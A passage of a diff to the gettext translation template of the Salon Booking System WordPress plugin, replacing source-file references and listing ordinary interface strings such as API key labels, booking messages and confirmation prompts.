build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:278, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:278\n-msgid \"We would love to hear your feedback!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:456\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:456\n+msgid \"\"\n+\"An error occurred during the booking process. Please try again or contact \"\n+\"the website administrator.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:274, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:274, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:274\n-msgid \"Appointment Reminder\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:172\n+msgid \"and generate a new API key\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:275, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:275, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:275, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:275, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:275\n-msgid \"This is a reminder of your upcoming appointment.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:489\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:489\n+#, php-format\n+msgid \"API connection error: %s\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:510\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:510\n+#, php-format\n+msgid \"API Error (HTTP %d): %s\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:575\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:575\n+msgid \"API Key\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:271, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:438, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:271, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:438, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:271, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:438, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:271, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:271, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:438\n-msgid \"Booking Details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:319\n+msgid \"API Key (Bearer Token)\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:213, src\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:213, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:213, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:213, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61\n-msgid \"Booking Confirmation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:309\n+msgid \"API Key Setup Guide\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:214\n-msgid \"Thank you for your booking!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:536\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:536\n+msgid \"API services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:218\n-msgid \"Booking ID:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18\n+msgid \"App ID\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:225, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:225\n-msgid \"Date:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31\n+msgid \"Apply\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:226, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:226, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:226\n-msgid \"Time:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:211\n+msgid \"Apply a transaction fee\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:230, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:230, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:230, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:230, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:230\n-msgid \"Name:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:217\n+msgid \"Apply from\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:234, src\u002FSLN\u002FPlugin.php:288, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:234, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:288, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:234, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:288\n-msgid \"Email:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:289\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:289\n+msgid \"Appointment Reminder\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:238, src\u002FSLN\u002FPlugin.php:291, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:238, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:291, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:238, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:291, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:291, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:291\n-msgid \"Phone:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26\n+msgid \"Appointments\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:244, views\u002Fadmin\u002F_customer.php:339, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:244, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:339, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:244, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:339, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:339, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:339\n-msgid \"Services:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:53\n+msgid \"Approve this booking\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:253, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:253, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:253\n-msgid \"Total:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37\n+msgid \"Are you experiencing an issue with our plugin? Follow this guide first:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:260, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:260, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:260\n-msgid \"Your booking is confirmed!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:63\n+msgid \"\"\n+\"Are you satisfied with Salon Booking System? Consider to leave a 5 stars \"\n+\"rating on wordpress.org\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:261\n-msgid \"Your booking is confirmed and paid!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47\n+msgid \"Are you sure ?\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:262, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:262, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:262\n-msgid \"Your booking is pending confirmation.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:538\n+msgid \"\"\n+\"Are you sure you want to clear the license status? This will reset the \"\n+\"license information.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:263, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:263, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:263\n-msgid \"Your booking is awaiting payment.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:396\n+msgid \"\"\n+\"Are you sure you want to rollback? This will revert to the previous version.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:286, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:286, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:286\n-msgid \"Contact Us:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:435\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 